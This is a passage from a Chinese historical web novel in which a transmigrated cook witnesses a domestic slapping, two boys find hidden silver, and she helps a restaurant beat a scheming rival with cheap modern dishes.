老管家面上不太赞成,几步上来劝阻道:“夫人,此刻不适合让褚姑娘上门,那位……她马上就要进门了。” 老管家口中的“那位”,几乎每隔一段日子就要来闹上一闹。 并且,过来的日子也有规律可循。 老管家不解的是,既然钟纯心已经知道那位和褚朝云会撞在一起,又为何非要在这个时候吃什么素斋呢。 难不成,是故意要跟“那位”赌气吗? 只是老管家话还没完,陆欣冉就横冲直撞的进了门来。 陆欣冉二话不说,一步上前就给了钟纯心一个大大的巴掌,“啪”的一下,钟纯心的脸就被打的偏了过去。 钟纯心虽说肤色不算特别的白亮,可这一下打的太狠,脸蛋上很快就渗出血点子和五指印来。 褚朝云被丫鬟引着,进门就看到了这一幕。 但陆欣冉显然没注意到她。 陆夫人的表情似是有些疯魔,一张俏脸扭曲的仿若恶鬼般凶厉。 她一把将钟纯心拽起来,伸手就又来了一个巴掌。 钟纯心的另一侧面颊,便也肉眼可见的红了起来。 褚朝云还记得自己第一次见到钟管事的情形,当时船上风大,河风吹得人面庞又干又疼,她还以为钟管事是在船上久了,脸蛋才会那般红。 现在看来,那一次恐怕也是刚挨了打…… 所以,这女人到底是谁? 只身闯进府里,公然打这里的主人,其余仆从竟无一人敢拦? 陆欣冉打了两下显然并没消气,很快,就要去打第三下。 褚朝云原本还在犹豫,突然遇上这等倒霉事,是否要当做看不见的先去厨房为妙? 结果手比脑子快了点,等到缓过神来,她已经伸手阻住了陆欣冉的动作。 突然被拉住,陆欣冉显然也有些怔住。 不过随即,反应过来的陆夫人便迅速甩开了她,而后恶狠狠道:“好个大胆的下人,竟敢阻拦于我,你可知我是何人?” 褚朝云心说,那还真不知道。 但她也不是故意来拦的,完全是本能害的。 见她不说话,陆欣冉的火气就对准了她。 便在此时,老管家忽的走上前来,好声好气道:“知府夫人莫要恼,您千万要保重身体,这位褚姑娘不是府中下人,而是长业寺掌厨。她是厨娘,是素斋大赛的魁首呢。” 褚朝云不知老管家为何要提这事,但显然,“长业寺”三个字对陆欣冉起了大作用。 陆夫人忽的收起面上冷厉,顿时就笑了起来:“原来你就是褚姑娘?长业寺的新任掌厨……不错不错,你做的素斋很合我的口味。” 褚朝云从没见过变脸如此之快的人,一瞬间就看的愣住。 并非她非要把人往坏处去想。 但眼下,看这位陆夫人的状态,她真觉得这陆欣冉的精神……似乎并不太正常? 见陆欣冉态度软下来,她也只能顺着回应一句:“谢夫人赏识。” 陆欣冉摆了摆手:“客气,待我下次与夫君同去斋戒之时,还望褚姑娘能亲自为我们做一顿饭。” “那是一定的。” 褚朝云轻轻弯了下身,算作行礼。 陆欣冉转头瞪了钟纯心一眼,而后洋洋大步离去。 人走之后,立刻有丫鬟将装着草药的药袋送上前来,钟纯心拿在手中,浑不在意的往面上敷。 瞧见褚朝云正看着她,便哼笑道:“怎么,心里头鄙视我呢?” “不敢。” 褚朝云默叹一声,实在不知该说什么好,只能问了句,“你……还好吗?” 钟纯心敷完左脸,又去敷右脸,然后懒懒道:“是不是觉得我这个知府大人的外室,很上不得台面?就连被正房打了,也不敢多说一句?” “我确实没有这个意思。” 褚朝云并非敷衍回答,而是这件事令她觉得很怪异,她不得不多想一点。 首先这种隐晦之事,钟纯心分明是故意叫她碰上的。 难道钟纯心的目的只是为了告诉她,这府邸是岳常的府邸,而钟管事不过是岳常在外豢养的一只金丝雀? 那么花船呢? 花船跟岳常之间,会有关联吗? 褚朝云实难想象,钟纯心的性情会甘愿做小? 她怎么都不能相信。 可那陆欣冉又真的是岳常的正妻,这一点,从方才无人敢阻拦她,就已经看得出来。 那么这一切,到底是为什么? 女子深感头痛。 褚朝云思来想去也得不到答案。 钟纯心却没耐心叫她慢慢的猜,钟纯心走到她眼前,抬手晃了晃,随即说道:“去做饭,我饿了。” “好,我这就去。” “去吧,做完了……便回吧。” 钟纯心满眼疲惫的应道,然后就闷闷地去了床上躺下。 “答应你的月例一分不少,记得下月再来,还是这个日子。” 妇人喃喃一句,转头便睡下了。 褚朝云看着床榻上躺着的钟管事,只觉得这人满身疲惫,似乎睡着了,便不愿再醒过来。 她快步去到厨房,做好之后,老管家依照妇人吩咐,还留她也吃了一顿。 吃饱之后已是傍晚,长街之上的剪纸灯笼尚未撤下,此刻马车行来,倒还是一片红红火火的热闹景象。 褚朝云在车内坐的闷,撩帘向外张望。 见到陆欣冉后,她的情绪并不太好。 这种头顶压着厚重阴霾的恶感,一直维持到马车路过刘新才的铺子前,才堪堪消失。 刘老板的动作果然很快,腾出来的柜台旁,一只棕色纹路的木质牌匾正立在一边,上面还写着几个醒目的大字—— 褚记针织小铺。 褚记…… 褚朝云瞟见那两个字,心中微暖。 再一抬眼,又瞧见竖排的字体上方,木刻的图样,正是昨晚宋谨画着逗她笑的那只小笨狗。 小笨狗前爪抬起,正向上仰望着属于自己头顶的一片日光。 而那缕照人前行的光,也并非是真正的日头,而是一朵正在雪中盛放的寒梅。 “冉冉寒香渡水涯,溪南溪北影横斜。含情最耐风霜苦,不作人间第二花。” 褚朝云默默念着诗句,眼角微红。 此刻再看那只小狗,已经不觉得那么丑了。 而且更像……她心中的依靠。 第79章 一更 春暖花开的季节,连风都是柔软的。 午时将过,项辰便端着一小盆饭菜进了院子。 这院儿是赵大的院儿,而主院里靠近角落的一间房,便是他们平时常进常出的账房了。 赵大让褚郁和项辰轮班写账。 一开始这俩小家伙还留了个心眼,想着账房距离码头不远,日常做工总有机会见到面的。 可谁知自从李二达那边出了事,后续的账房先生又不给力,赵大就把账房搬到了自己的住所,放在眼皮子底下看着。 院落跟他们住的地方刚好隔着一条长街。 这下子距离拉开了,两人也就交班时,亦或是回了居所后才能一块说话。 褚郁和项辰时有轮换,不是固定哪一个上午,哪一个下午进账房。 这其实也是赵大要求的。 显然是之前的事引起了赵管事的警惕,如今虽说放心让俩小孩来做,但还是会费心多盯着点。 项辰递过来的饭碗里有白米,还有两只油汪汪的鸡腿。 褚郁接过,随便扫了一眼,拿起其中一只趁其不备,就塞进了对方嘴巴里。 “一人一个,干嘛总要都留给我。” 褚郁笑嘻嘻地回应了声。 也不顾手指头还油叽叽,就故意想去拉项辰的头发。 项辰叼着鸡腿往后一躲,直接去了院子里晒太阳。 他默默啃了两口鸡腿,觉得这味道还挺香。 以前他可从来不吃这种东西,而如今身体养的好了些,又见自己的小兄弟瘦的像鸡崽儿,这才总愿意多留一些肉给他。 现在他们凭自己的能力顿顿都能吃上肉,日子也比从前好过了不少。 褚郁端着饭碗跟出来,二人趁着赵大不在,就跑去阳光充足的地方边吃边聊。 等下吃饱饭褚郁就要去码头忙了,然后换项辰写账。 二人正闲聊着,几名工头便从后方的小门走了进来。 褚郁听到动静,肉也顾不上啃,看了项辰一眼,二人一溜烟就躲进了账房里。 门快速关好。 俩人猫在窗子下,视线却一路跟着从后方绕到前院的工头们。 走在前面的人看了眼四周,见院子里连只野猫都没有,便啐了口说:“往常不都后半夜搬吗?今个怎么要的这么急?” 另一人道:“叫你搬就搬,话那么多作甚!” “老大的意思我当然不敢质疑,但现在人不是不在嘛,而且那箱子也太沉了,真想喊几个劳工来。” 提醒的那人听了,眼一瞪,顿时就没了好态度:“你要死?既知道那些箱子里放的是什么,你还敢叫他们来?” “你这么谨慎做什么?他们看到又能如何,跑的出去这里吗?” 俩人你一句我一句,句句都是要干仗的架势。 跟着的二人听得头疼,忙呵停他们,“哪就那么多废话,赶紧的搬,干完拉倒!!” 话落,声音也止息了。 藏在账房里的少年们,眼看着工头进了赵大的屋子,然后一箱子一箱子的把东西搬出来,最后一起又从后门离开。 “那是什么?” 待到他们出去又走了挺远,褚郁才敢跑出屋来。 项辰杵在原地愣了会儿,伸手一拍他,“你坐在这儿接着吃,记得给我通风报信。” “哎哎哎,你要干嘛去?” 褚郁大惊,顺手就拉住了人。 项辰歪头看他,“想知道是什么,进去瞧瞧不就知道了?” “疯了吗?不能进去,那可是赵管事的屋子。” “但是他人又不在。” 项辰莞尔。 养好身体后,少年身上的纨绔心性又重新暴露出来。 他从前就一直很大胆,除了坏事,其他的事就没有不敢做的。 不像褚郁,褚郁总是乖乖巧巧跟在姐姐和哥哥身边,从来都是褚朝云叫他做什么,他才会去做什么。 见褚郁还强行扯着自己的衣袖,项辰便仗着自己高人一头,去点他的脑袋瓜。 “小郁,有句话说得好,不入虎穴焉得虎子?” 褚郁听后哭笑不得,“你可真是个……另类的纨绔。” 念书厉害的他不是没见过。 念书厉害还特别能捣蛋的,他真就没遇上过。 褚郁放心的松开了手。 项辰低头看了眼自己衣袖上的油爪子印,想到自己也刚吃了鸡腿,就不在意的擦干净了油,这才一路小跑着进了门去。 赵大每日午时都会吃点酒,日头好的天气,便会在太阳底下睡上一觉。 白日里赵大不回院子,这也是他们二人过来写账之后,慢慢观察出来的。 但褚郁还是特别谨慎。 蹲在墙根下扒饭,一双圆溜溜的大眼睛不停扫射四周。 看到个影子就“咳”一声,瞥到猫猫狗狗路过也要大声的“咳”。 里边翻箱倒柜的项辰被他咳的心惊肉跳,基本没翻找几下,就赶紧出来了。 少年依旧是冷冷的脸色,不怎么爱笑的往褚郁身边一坐。 褚郁吃掉碗里最后一个饭粒,而后小声问:“怎么样,有结果了吗?” “我出马,还能走空?” “对,贼也不走空。” 项辰白他一眼。 起身将人拉进了门去,账房的门被重新关严,俩人一起坐到了椅子上。 “是银子。” 项辰说着,也自顾自的琢磨起来。 褚郁找了干净的布巾擦嘴,然后才露出一副恍然大悟的样子,“你意思是,那些箱子里全部都是银子?!” “嗯。” 项辰细说两句:“他们走时,书柜边的机关还没完全合上,我看到那柜子后面是空的,里边被掏了个小隔间的构造出来,那里边都是银子。” 一箱一箱的金银珠宝,箱子盖没有盖上,都大刺刺地敞开摆着。 或许是赵大对自己的密室有信心,觉得没人会发现,所以才敢这么放肆。 褚郁彻底惊呆了。 细思之后,褚郁猜道:“看来阿姐他们的那条船,赚头不少啊。” 他们每日记账已经发觉花船收益的数目可观,可和今个密室里的银钱一比较,基本是小巫见大巫。 不过二人也知,密室里的钱也都是靠着花船赚来的,只能说,这些年下来,这条船的营收,基本能达到富可敌国的程度了。 “所以,他们抬着那些钱去哪儿?钱庄?” “不像。” 项辰分析:“都有密室了,还要钱庄干嘛?” 褚郁略微点了点头,感觉他说的有道理。 …… 晚间,二人难得碰上宋谨过来看他们,就也顺便将这件事提了一嘴。 不过想想也知,若是花船不那么赚钱的话,又哪里会开到今日。 宋谨跟他们一起坐在墙根下,顺便也解释了一句最近少来的缘故,一个是因为老陈毕竟知道了他们之间有联系,万一哪次头脑发热去告诉赵大,未免惹来麻烦。 第二也是,他最近都往褚朝云那跑,针织铺子开起来了,进货,出货,都要靠着那条小船来运送。 加之宋谨本身也有差事在身,确实分身乏术。 不过既然见到了宋大哥,两名少年难免喜悦,三人抬头望着天上星星,随便聊了起来。 “小辰,你以后打算干些什么呢?你念书这么棒。” 褚郁偏着头问。 项辰几乎没怎么思考,就回应道:“考官吧,我想走仕途。” 说完,又问了回去。 褚郁腼腆一笑,倒是没项辰那般远大的理想,“我对做官没啥兴趣,我想跟着阿姐,阿姐说想干嘛,我就也要干嘛。” 二人说完,就一同看向宋谨。 想起宋谨已经是成年人了,便换了个问题,“宋大哥,你以后是要继承师父的衣钵,也当个仵作吗?” 宋谨听后不禁往远想了想,随即摇头:“这我倒也没打算的那般长远。” “为何?” 二人不解。 宋谨一个姿势坐累了,就屈起一条腿来,神情有点放松道:“因为,计划没有变化快。” 曾几何时,他阿爹希望他能继承家业,帮家中打理生意。 他阿娘只愿他能取一房媳妇,夫妻二人琴瑟和鸣。 而他,也和项辰一样想走仕途。 三个人,各有所愿。 可是到了最后,一个都没实现- 收到褚郁信笺的时候,褚朝云也正在和白淼淼通书信。 船娘们做的妆奁盒白淼淼很是喜欢,而且还大肆在姐妹们中帮忙推销。 再加上白府上下,一百多名仆从的小荷包也要赶制,船娘们最近活多到干都干不完。 就连褚惜兰和春叶、蕙娘也是忙的脚打后脑勺。 可这皇上不急太监了。 白淼淼设计上瘾,一口气甩过来七八个图样子,又给褚朝云写了长长一封信笺。 大概意思便是,自己想做小铺子里的设计师。 不拿工钱,纯粹为了梦想那种。 褚朝云免费得了个设计师的帮手,心中也正高兴着,所以她忙着给对方回信,顺便也是要商谈分成事宜。 叫人白干这种事,她可做不到。 而且白淼淼的设计天赋确实是旁人无法相比的,怎么算,也是她更赚。 回好一封递给宋谨,褚朝云又仔细的看了一遍褚郁的信。 褚郁跟她念叨了一些最近的情形,他的,项辰的,还有赵大屋子里有密室,以及密室里还装了大量的银子。 反正能说的,全部都碎碎念了一遍。 褚朝云越看越想笑,不由得放下信道:“这小孩怎么罗里吧嗦,跟小老头似的。” 宋谨帮她添了一杯茶,递过来道:“可能是,太想你了。” “是啊,真挺难为他的。” 那么小,就要见遍这世间的荆棘。 对于褚郁和项辰的处境,她是想帮也帮不上。 只那一个大通铺,大家伙都住在一块,她就送不进去一件东西。 见女子眼中落了点哀愁,宋谨便出声安抚道:“他们很好,凭着自己的能力改善了处境,如今顿顿还能吃上肉,一切都在朝着好的方向发展。” “也要多谢你照应他们。” 褚朝云欣慰一笑。 “你我之间,不必道谢……” 宋谨听后,轻声应道。 或许是这个话题让氛围变得有点沉闷,宋谨抬眼看向她,想到两名少年的闲聊之言,也开口问道:“将来离开了这里,你可有想做之事?” “嗯?” 褚朝云溜了下神,没太听清。 宋谨轻咳一声,又道:“朝云还会继续留在蕤洲做厨娘么?或者……开个小馆子?” 女子云里雾里的听了两句,“其实厨娘并非我真正想做之事,而且——” “什么?” 宋小哥的目光玉一般纯粹,可此时的眼中分明带着几分期许。 褚朝云笑容甜甜的,说话间,眼眸都跟着弯了起来,“而且我还得回家去呀~” 去和家人团聚。 还有。 去报仇。 说完了话,褚朝云上去花船,站在船板上朝小船的方向挥了挥手。 宋谨戴好斗笠,轻轻点了下头,然后就划着船离开了。 褚朝云站在船板上吹了会儿河风,见小船走的缓慢,回想起方才宋谨的神情,总觉得这人今天看着有几分……失落? 女子皱了下眉,也没想明白缘由,就攥着褚郁那封信回了隔间。 距离下个去长业寺的日子还有半月多,褚朝云这几日除了干船上的活,就是时不时被程月叫去厨房,做几道新菜式练手。 程月自是希望自己的爱徒不只在蕤洲能排第九,将来去到京都,也要上大祁名厨册的首位。 程月看着文静,实则却是个认真又严厉的师父。 她刚做好的一道松子鱼,程娘子只尝一口,便道:“色香有余,味道不足,重来。” 褚朝云哀怨的看了眼那条大鱼,“那这个怎么办?浪费粮食是可耻行为。” 这边话没说完,门外溜进来的于小圆就急吼吼地凑上前来,“不可耻不可耻,给我吃吧,求求了,我爱吃鱼!” “……那给你吧。” 褚朝云将一整盘鱼都给了她。 于小圆趁着婆子不注意,就坐在厨房里大快朵颐起来。 于小圆吃的飞快,鱼刺吐的又快又溜。 褚朝云正看的吃惊,程月就拉回了她的注意力,“张满春张老板昨个去寻了我,明日万春楼开张刚好满二十年,他想请你去做几道招牌菜。” “不是说他对面的那家馆子,才是二十周年庆吗?” 褚朝云记得前两天柳文匡过来,还提过这件事。 程月:“两家从开业一直斗到现在,虽说万春楼生意更好,但那小馆子也仗着物美价廉屹立不倒多年。” “所以张满春请你过去镇镇场子,还有,他打算出价一百两。” 第80章 一更 得知有一百两那么多,褚朝云立即撸起袖子开始想食单。 万春楼能如常青树一般在蕤洲开了那许多年,酒楼的招牌菜自然不少。 但这次是二十年庆,所以张满春这丰厚的酬劳价格也不是乱开的,他希望借着这次机会再多研究几道新的菜品。 而这个光荣的任务,自然是褚朝云来完成。 褚朝云也不推诿,并且还本着服务至上的精神,一口气想了不少的创意菜品。 比如用薄如蝉翼的饼皮卷着茱萸酱拌面条,比如马铃薯捣碎成泥浇在裹着肉汁的白米饭上,再比如将各类肉丸和蔬菜烫熟,泡在酸酸辣辣的汤汁里,还可以配上用米粒磨出来的粗粉细粉。 虽说她讲的这些都是现世流行的网红小吃,但大祁毕竟没有。 而且这些,也都是在现世被无数美食家反复验证过的,能用现成的,也省的费脑子了。 她说的这些奇奇怪怪的吃食,程月倒是从没见过。 程娘子一时兴起,叫她先做几种出来。 刚好褚朝云也要练手,如此一举两得之事,两人都很乐意。 于是,二人在厨房里又热火朝天的忙碌起来,因着这几样都是小食和快餐,没什么繁杂的刀工和做法,褚朝云做的倒是飞一般的迅速。 做好之后,她指向盘中之物,一一介绍:“这是大饼卷万物,万物指的当然不只有面,还可以是其他。” “这是土豆泥拌饭。” “最后这一道叫做麻辣烫,刚好可以根据食客的口味自行调整,喜辣加辣,喜酸加醋~” 褚朝云做饭热的小脸通红,看着那些吃食自己都忍不住流口水。 虽说这里调味品和食材有限,不能仿的百分之百,但八十分,也大抵是有了的。 不过再看程月,面上倒不似她这般乐观。 程娘子厨艺精良,打从学厨那天起,就喜欢在复杂的做法上下功夫。 她认为好吃的东西,做起来也一定是耗时耗力,细活出精品么。 像自己家这小徒弟噼噼啪啪,几下就弄出来的粗糙吃食,看着是很新奇,但不怎么美观,真的能吸引的来食客? “这样可以交差?” 程月走近一点,却没忙着动筷子。 被师父质疑,褚朝云倒是淡然的很。 褚朝云主动拿了小碟和筷子,先卷了一张薄饼给她,“行不行,吃吃看嘛。” “好。” 程月刚好也想尝尝,遂咬了一小口放在嘴巴里咀嚼。 期间,褚朝云一直笑眯眯地望着她。 待见到师父的神情,从起先缓慢的咀嚼品尝,到咽下之后又主动去盛那土豆泥拌饭,女子便心中有数了。 大饼卷火鸡面可是她从前经常吃的,可惜就是少了点牛奶,但这种主食搭配主食的别样美味,没亲身体验过的人是不会想得到其中的快乐的。 程月每样尝试了一口,似是体验到了其美妙的滋味,于是又破天荒的多吃了几口。 “没想到这吃食食材看似单调,操作步骤又精简,味道倒真出乎我的意料。” 程月认可她的做法,但还是提醒了一句。 “不过万春楼是蕤洲数得上名号的大酒楼,端一些这样的菜品出来给食客,恐大家会有意见。” 褚朝云不这么认为,“再大的酒楼,也要有几道价格亲民,物美价廉的菜式呀。” 她简单一句,程月似是懂了她的意思。 …… 辗转来到去万春楼的那一天,这一次褚朝云有程月陪同,二人一早就坐着马车到了门前。 张满春亲自出来迎接,和褚朝云问好的同时,还不忘瞪了对街的小馆子一眼。 对街的小馆子,褚朝云虽说是第一次亲临,但从前也算打过一些交道。 破旧的门脸,包了浆的牌匾,屋内屋外摆着一些桌椅板凳,看着店面也就比刘新才的面食铺子大上两圈,一看这家的老板就不注重装修。 当然,这是别人的感观。 可不是褚朝云的。 褚朝云从那一堆看似破破烂烂的风格里,感受到的,却是最符合大众的朴实。 再加上出现过一次糯米糕抢生意事件,以那小老板的精明程度,她就更不认为这店老板是不在意门面。 反倒觉得对方是故意弄成这样,目的,就是为了吸引家中不太富足的百姓们光顾。 若是人家本本分分做生意,她还真不愿过分去打压。 只不过—— 褚朝云和程月进了万春楼后,并没第一时间去往厨房,而是摘掉帷帽,又从后门绕了出来。 她辗转来到对街后巷,想去从其他方面了解一下自己的对手。 褚朝云只是抱着一个纯了解的态度,却不成想正碰上店老板再呵斥杂工,“哎呀,你洗菜用那么多的水干嘛?有些菜不用洗的,搓搓上面的土就行了啊。” “擦桌子的布巾也不要换的太勤快,这都是银子来的不知道吗?” “还有你!剩饭剩菜你倒回去再用嘛,他们也吃不出来,咱们做的本来就是廉价的生意,不压缩成本,赚个屁的银子!” 褚朝云听了三句话,就气不打一处来。 转身想走时,后门口,便进来了一位身形苗条,粉裙白帽的女子。 那女子嫌恶的瞧了一眼脏乱的店面,不知垢了多久的油味儿直叫她闻的想呕。 唐淑差点吐了出来,一张脸上九分都是厌烦。 褚朝云没认出那是何人,但对方显然看到了她。 不过唐淑忙着跟店老板说话并没理她,褚朝云了解完这家是个黑心的馆子,就也不打算手下留情了。 她从后巷绕到前门,正预备回万春楼,唐淑就笑盈盈地拦住了她。 “褚朝云,长业寺一别好久不见。” 这话蔡庆也说过。 但是两个人两种心态,蔡庆是真诚的问候,这女人可就说不好了。 褚朝云不知唐淑不在京中好好呆着,大老远跑来这里是要做什么,但她自认和此人没有过多牵扯,自然也没什么好叙旧的。 褚朝云打算绕开,唐淑却不愿放行。 女子笑岑岑地瞳眸里带着深深算计,一脸兴味盎然道:“我就知道张满春会请你这个蕤洲第九来撑场子,不过很可惜,这回他可是要失望了。” 她带了京都一位名厨过来,那人万两白银都难请,可唐淑却为那小馆子的老板请了。 唐淑在长业寺出了那样的事,回京之后被唐父狠狠斥责了一通。 这一次她是带着必胜的决心来的。 因为如果再输给褚朝云,她就会被唐父送到庄子上去,永世不得翻身。 她千方百计打听到了这里的消息,连褚朝云和张满春的关系也摸得七七八八。 唐父是个商人,自然不理会唐淑和褚朝云的私人恩怨,他只看中利益。 而唐淑这次过来,给她父亲押的“军令状”,不是简单的赢过褚朝云就算了,她要收购张满春的酒楼,因为唐家想要在蕤洲的生意场上,也占有一席之地。 蕤洲从前贫瘠,如今摇身一变,已经成了个人人争抢的香饽饽。 用大祁名厨来打压万春楼,再用些恶心但有效的手段,张满春一个小小的酒楼老板,如何能跟他们唐家来争。 唐淑说话留三分,故弄玄虚。 奈何褚朝云懒得搭理她,一句没听完就回了酒楼里。 回来将此事一说,程月便对那些快餐类的菜式又捉摸不定。 就连张满春,也有些怕道:“这样能行吗?大祁名厨册上的名厨,虽说不知是哪一位,但厨艺必定精湛。” 他们明明是高档馆子,如今却做起了快餐,反而人家那种苍蝇小馆,今日到高大上起来…… 这这这,张满春忧心忡忡。 褚朝云叫他们稍安勿躁,且按原计划进行便好。 待到午时,得知两家周年店庆的百姓们纷纷赶来,其中,三分之一是奔着万春楼来的,而三分之二,则自动去了对街排队。 原因不难猜。 蕤洲如今再富有,富户也依旧是少数。 还是生活拮据的人家多些。 所以他们去不起万春楼,就只好去对面沾沾喜气。 而与此同时,小馆子门前的一张方桌之后,唐淑坐在一边,正懒洋洋的晒着日头,品着茶水。 这茶也是她从京中带来的。 不过唐家有钱但却从不做什么布施的善事,吝啬的很,唐淑自然不会分茶水给食客。 她兀自品茗,眼中却带着几分精明得意。 那些穷鬼一定没吃过什么好东西,今个就让他们好好尝一尝什么叫做大厨的手艺,褚朝云算什么东西,不过侥幸赢得比赛罢了。 等她先对付了褚朝云,下一个就轮到张满春了。 她越想越得意,而这天气也舒服的很,差点就想搬张美人榻出来躺着了。 便在此时,张满春就带着伙计们亲自端了茶水出来,他煮的就是普通的大麦,助消化用的。 看到对街的百姓还在苦哈哈排队,张满春一张笑脸和蔼又亲切,“你们渴不渴?过来喝杯茶水?不收银子。” 这话从万春楼的老板嘴里说出来,听起来就像天方夜谭。 因为万春楼什么都要钱,普通百姓对他们的印象就是,哪怕走进去喘两口气,万春楼的空气都要另外收费。 这一下子免费供应茶水,大家都没敢动弹,不过眼睛还是时时瞄着这边。 直到几名戴着帷帽的女子出现,并坐到了门前喝茶水。 而百姓们发现张满春真是免费,在对街排队等用膳的食客,才陆陆续续走了过来。 如今的天不冷不热,喝温的刚好。 一些食客被抢过来后,张满春立刻拿出一张新的食单。 这些都是褚朝云提前帮他准备的,还有那些茶水,以及新的食单上的定价。 褚朝云这一百两不会白赚,但她也需要个听话的老板。 张满春虽说爱钻营,但也不是只图蝇头小利的人,他还是有些大格局的,否则又怎会支撑万春楼二十年。 有人看到食单,一眼便惊道:“哎?张老板,你这单子怎么不是我以前看的那张?就连上面的菜品和价格……也都不一样了啊。” “这是什么?大饼卷万物?哈哈好有趣的名字。” “哇好便宜啊,吃一盘土豆泥拌饭才三十文!” “三十文?这是万春楼的价格吗?” “恐怕连对街那家,一顿也要五十文上下的吧?!!” 食客们完完全全的被价格惊住,这一声又一声的讨论声声拔高,顿时,就吸引了其他排队中的食客。 于是,小馆子门前排队的食客又跑过来一些,和最初排队的人相比,一下就少了四分之三。 但唐淑此刻依旧没慌。 因为等到厨子做好了菜,一端出来,那些闻到香味的食客自然还会回去的。 唐淑坐着有些无趣,就抬着头往对面看,坐着的几名女子一直没摘帷帽,她不好分辨那些人都是谁。 只是看着有些许眼熟。 不过转瞬,就挪开了视线。 褚朝云此时正在后厨忙碌,做好几份同时端出。 而万春楼刚一端出几道快餐,对面的小馆子也比赛似的把吃食端了出来。 两边香味对冲,倒是不好评判谁做的更香。 然而,从小馆子跑路来的食客并没回去,他们从前是因为经济不足才吃不起大酒楼的饭,如今三十文吃上一顿,哪怕只有这一次,也是心满意足的。 可小馆子那边,今日的菜价就贵的要命了。 一道红烧鱼二十两,一道浇汁肘子四十两,还有从没尝过的贵妃泡饭五十五两。 那些排队的食客不敢置信的走上前来,盯着几道珍贵到堪称能拿给皇帝去吃的菜式,却毫无食欲可言。 因为食欲全被价格给打败了。 “我天那,这家馆子出息了,今个的菜是想去争御膳吗?” “浇汁肘子万春楼也有啊,我记得才不到十两吧?你卖四十两?去抢??” 一时间,所有食客全部涌向万春楼,张满春乐的脸都笑开了花。 有人已经吃了半碗麻辣烫,便笑呵呵问:“张老板,这菜明个还能吃到吗?价格会调整吗?” 张满春按照褚朝云交代的,回应的语气要多温柔有多温柔,“不会涨价,而且若是住的近的,我们还能免费给送上门,喜欢吃的,欢迎预定。” “那以前的贵菜还卖吗?过几天我娘大寿,我想定一桌席面。” “卖啊,都卖都卖~” 张满春笑的合不拢嘴,不断感叹自己这一百两花的物超所值。 而对街的馆子里,客人前脚走光,后脚那小老板就跟厨子吵了起来。 他还以为京都来的这位唐小姐是帮他们忙的,结果却是来添乱的,“你们怎么把价格定那么离谱?是吃人还是吃饭?” 厨子也不高兴:“我可是上了大祁名厨册第三十三的名厨,你要我做便宜饭卖低价,你简直莫名其妙!” 小老板:“你那么高贵跑蕤洲来干嘛,我们要是不吃便宜饭,从前早就饿死了!” 唐淑也没想到事情会变成这样。 她来之前,只顾着想要如何打压褚朝云,算计张满春,可却忘了考虑这里不是京都,而是曾经连饭都吃不起的贫穷蕤洲。 四十两的肘子对她来说是廉价食物,可对普通人家来说,那可是多少年都赚不来的大钱。 隔着一条街,万春楼这一面的生意红红火火。 大家尤其对他们的外卖服务格外感兴趣,这边吃着,那边一口气就下了几十份的预定。 张满春赚得钵满盆满的同时,也有另一重担忧。 见褚朝云出来了,他便疾步上前,小声商议:“褚姑娘,这预定接了这么多,可你之后便不能再过来了,你看……” “我走时,会把这几道吃食的做法教给你的厨娘。” “啊?那你——” “不过,张老板要答应给我分红。” 褚朝云狡黠的眨眨眼。 比起兢兢业业的忙碌,她更喜欢不用劳动就拿分红,毕竟小树苗她已经精心培育过了,长成参天大树之时,她也该乘乘凉了。 张满春觉得这个想法好,与人方便与己方便,就痛快的答应下来。 对面的唐淑见小老板和厨子还在吵,自己又实在不愿叫万春楼看笑话,便从馆子里出来,恶狠狠地瞪向褚朝云。 又是这女人坏她的好事! 她今个可是带了人来的,于是一拍掌,身旁顿时出现了四名力拔山河的壮汉。 五人正欲往褚朝云的方向奔去,方才闲聊的女子食客里,其中一人快步起身,挡在了褚朝云身前。 女子摘下帷帽,冷漠道:“唐淑,你可还记得我是谁?” 80-90 第81章 一更 随着女子摘下的动作,其余几人也同时摘掉了帷帽。 褚朝云在旁看着,不是很明白,但还是捕捉到了唐淑眼底的惊怔。 除却这一点,还有几分意想不到的恐惧。 唐淑在怕什么? 白淼淼迎着几名壮汉上前两步,那几人便动作僵硬的往后退开,他们从没和女人动过手,刚刚也只是听了唐淑的命令,想要吓唬褚朝云的。 白淼淼一改往日的乖巧和善,每走一步,眼便红了一分。 “得到消息时我还在诧异,没想到你真的敢来。” 白家在蕤洲,地位还是很高的。 曾几何时,白家也在京都待过一阵子,后来相中了蕤洲这块宝地,才举家搬迁至此。 虽说白老爷确实吝啬一些,但白淼淼心地纯善,纵然有富家小姐的一些脾性,可她从不欺辱他人。 眼看店庆成了“叙旧”,其余人便都没走,而是偷偷站到一侧看起热闹来。 白淼淼走到长街中央,冷眼看着唐淑,声音故作放大几分,力图让所有人都能听得清楚,“大家看仔细了,就是这个女人,蛇蝎心肠,天生的坏种。” 唐淑只听了一句,半条腿就软了下去。 可几名女子显然没打算放过她,齐齐上前,双眸通红的瞪着她。 白淼淼:“唐淑,京都贵女,早年因陷害家兄被她阿爹发配来了蕤洲。” “她和我们同一书院念书,却处处瞧不上我们蕤洲的学子,养了无数打奴,公然在学堂内欺负大家。” 白淼淼抽噎,“这些暂且不细说。” “她最大的恶,便是为了讨好她阿爹,能让自己早日回到京都继续做她的贵女,而弄断了我表哥的腿!” “我表哥与她家兄是同窗,是那年科举最被看好的学子!可就是这个女人,佯装受伤趴在蕤河岸旁,表哥赶去京都考试途中遇上了她,好心救她时,却被她推入河中,从此落下了残疾,与科举失之交臂!!” 唐淑因嫉妒家兄受父亲赏识,儿时便想杀掉他,岂料动手时,竟不慎被家中人发现。 到了蕤洲之后,意外得知最有竞争力的家兄同窗,竟然是白淼淼的表哥。 所以她讨好家兄,并告知他,会帮忙处理掉他最大的阻碍。 最后,得到家兄原谅的唐淑,才能顺利回去做她的贵女。 其实唐淑从来都不受家族重视,因为唐家子嗣众多,而她是最不起眼的那个。 她痴迷在家族里的地位,执着的想要那一层光亮的皮。 所以她处处在人前营造,营造自己的贵女人设。 若非她的地位在唐家如此低微,也不会连在长业寺被参赛者们打了,唐家都没有追责。 这一层了解下来,褚朝云倒觉得自己实在是幸运。 那日她几句话挑的唐淑被打,想来确实太过冲动,若唐家真心护着唐淑,想要弄死她,还不是轻而易举之事。 白淼淼当中揭露唐淑恶行,一介贵女名声丧尽,唐淑注定成了唐家弃子。 而且,唐淑打压收购万春楼的计划已经落空,即便没有白淼淼几人站出来,唐老爷也会把她送去庄子自生自灭。 四名壮汉很快就看清了事态走向,所以矛头也从指向褚朝云,改为指向唐淑。 “小姐,请吧。” 四人口中说着“请”,动作上却不那么尊重了。 但唐淑显然不肯就这么屈服。 